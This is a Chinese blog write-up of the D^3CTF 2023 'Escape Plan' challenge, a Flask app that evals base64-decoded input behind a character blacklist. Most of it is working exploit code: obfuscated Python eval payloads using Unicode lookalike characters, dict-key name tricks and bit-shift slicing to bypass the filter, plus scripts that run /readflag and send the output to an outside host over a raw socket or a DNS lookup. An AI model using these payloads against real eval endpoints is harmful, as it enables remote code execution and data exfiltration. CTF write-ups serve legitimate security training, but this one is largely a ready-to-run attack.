D3复现(Escape Plan

文章详细介绍了如何利用Python中的eval和base64进行命令注入攻击,同时展示了如何通过Unicode字符和位运算绕过过滤机制。在给定的CTF挑战中,作者演示了多种方法来构造payload,包括使用特殊字符替换、变量混淆和数字禁用来逃避检测。最后,文章提到了其他可能的利用技术和过滤策略。
摘要由CSDN通过智能技术生成
exp = '__import__("os").system("id")'

print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")

如果if过滤

image-20230503212604796

CMD = [eval][eval(list(dict(b_o_o_l=1))[0][::2])(eval(list(dict(e_x_e_c=1))[0][::2])(eval(list(dict(b_y_t_e_s=1))[0][::2])([eval(list(dict(o_r_d=1))[0][::2])(j)for(i)in(list(eval(list(dict(o_p_e_n=1))[0][::2])(eval(list(dict(s_t_r=1))[0][::2])(eval(list(dict(_1_1i1m1p1o1r1t1_1_=1))[0][::2])(list(dict(b_a_s_e_6_4=1))[0][::2]))[23:-2])))[:-5]for(j)in(i)])))](eval(list(dict(b_6_4_d_e_c_o_d_e=1))[0][::2])(list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=1))[0]))

利用点处于函数内部,exec生成的变量无法在函数上下文中使用

eval(vars(eval(list(dict(_1_1i1m1p1o1r1t1_1_=1))[0][::2])(list(dict(b_i_n_a_s_c_i_i_=1))[0][::2]))[list(dict(a_2_b1_1b_a_s_e_6_4=1))[0][::2]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=1))[0]))

数字禁用

  • 0 -> len([])
  • 2 -> len(list(dict(aa=()))[len([])])
u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫'

CMD = "eval(vars(eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=()))[len([])]))"

CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)})

2023 D^3CTF writeup by 万年三等奖 (qq.com)

Escape Plan

app.py

import base64

from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def challenge_3():
    cmd = request.form.get("cmd", "")
    if not cmd:
        return """<pre>
import requests, base64
exp = ''
requests.post("", data={"cmd": base64.b64encode(exp.encode())}).text
</pre>
"""

    try:
        cmd = base64.b64decode(cmd).decode()
    except Exception:
        return "bad base64"

    black_char = [
        "'", '"', '.', ',', ' ', '+',
        '__', 'exec', 'eval', 'str', 'import',
        'except', 'if', 'for', 'while', 'pass',
        'with', 'assert', 'break', 'class', 'raise',
        '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
    ]
    for char in black_char:
        if char in cmd:
            return f'failed: `{char}`'

    msg = "success"
    try:
        eval(cmd)
    except Exception:
        msg = "error"

    return msg

过滤了很多…

特别是.和引号的过滤限制了很多操作

利用unicode字符替换掉e,然后利用 vars(binascii)里的a2b_base64进行base64解码,由于base64编码在参数位置,我们还是用unicode数字来进行替换绕过,绕过之后命令执行无法直接反弹

payload

import requests, base64
u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫'
payload = b"""__import__('os').popen("python -c 'import socket, os; flag = os.popen(\\"/readflag\\").read().encode();host = \\"39.105.125.61\\";port=667;s =socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((host, port));s.sendall(flag);s.close();a=1;'").read()"""
payload = str(base64.b64encode(payload)).strip('b').strip("'")
print(payload)
CMD = "ᵉval(vars(ᵉval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict({}=()))[len([])]))".format(payload)#注意这里dict({}())不用写=,因此要调试一下payload字符为3的倍数保证编码无=
CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)})
r = requests.post("http://139.196.153.118:30187/", data={"cmd":base64.b64encode(CMD.encode())}).text
print(CMD)
print("\n")
print(r)


X19pbXBvcnRfXygnb3MnKS5wb3BlbigicHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LCBvczsgZmxhZyA9IG9zLnBvcGVuKFwiL3JlYWRmbGFnXCIpLnJlYWQoKS5lbmNvZGUoKTtob3N0ID0gXCIzOS4xMDUuMTI1LjYxXCI7cG9ydD02Njc7cyA9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKGhvc3QsIHBvcnQpKTtzLnNlbmRhbGwoZmxhZyk7cy5jbG9zZSgpO2E9MTsnIikucmVhZCgp=
ᵉval(vars(ᵉval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_𝟤_b𝟣_𝟣b_a_s_e_𝟨_𝟦=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict(X𝟣𝟫pbXBvcnRfXygnb𝟥MnKS𝟧wb𝟥BlbigicHl𝟢aG𝟫uIC𝟣jICdpbXBvcnQgc𝟤𝟫ja𝟤V𝟢LCBvczsgZmxhZyA𝟫IG𝟫zLnBvcGVuKFwiL𝟥JlYWRmbGFnXCIpLnJlYWQoKS𝟧lbmNvZGUoKTtob𝟥N𝟢ID𝟢gXCIzOS𝟦xMDUuMTI𝟣LjYxXCI𝟩cG𝟫ydD𝟢𝟤Njc𝟩cyA𝟫c𝟤𝟫ja𝟤V𝟢LnNvY𝟤tldChzb𝟤NrZXQuQUZfSU𝟧FVCwgc𝟤𝟫ja𝟤V𝟢LlNPQ𝟢tfU𝟣RSRUFNKTtzLmNvbm𝟧lY𝟥QoKGhvc𝟥QsIHBvcnQpKTtzLnNlbmRhbGwoZmxhZyk𝟩cy𝟧jbG𝟫zZSgpO𝟤E𝟫MTsnIikucmVhZCgp=()))[len([])]))

success

进程已结束,退出代码0

image-20230503205611271

https://fq6p9pyo5tt.feishu.cn/docx/InUFdQUKdozf8yx5IhGcf5zInSe

过滤数字利用len(black_char)len([])绕过

repr(request)拿到字符串,再使用数组配合位运算符切片截取

import requests
import base64
shell='ping -c 1 `/readflag`.c17fafb7.dns.dnsmap.org'
s=''
for i in shell:
    s+="chr("+str(ord(i))+")+"
print(s[0:-1])
payload = payload = "__import__('os').popen({})".format(s[0:-1])
payload1 = "ᵉxec(repr(request)[(len(black_char[len([])])<<(len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])<<len(black_char[len([])])|len(black_char[len([])]))):len(repr(request))-int(black_char[len(black_char)-len(black_char[len([])])])])"
data = {"cmd": base64.b64encode(payload1.encode('utf-8')).decode('utf-8')}
url='http://47.102.115.18:30634/?'+payload
response=requests.post(url=url,data=data)
print(response.text)

NU1L

image-20230503213933606

requests.post(url=url,data=data)
print(response.text)




## 三





[外链图片转存中...(img-GQZ2oZZ3-1683123003633)]

































评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值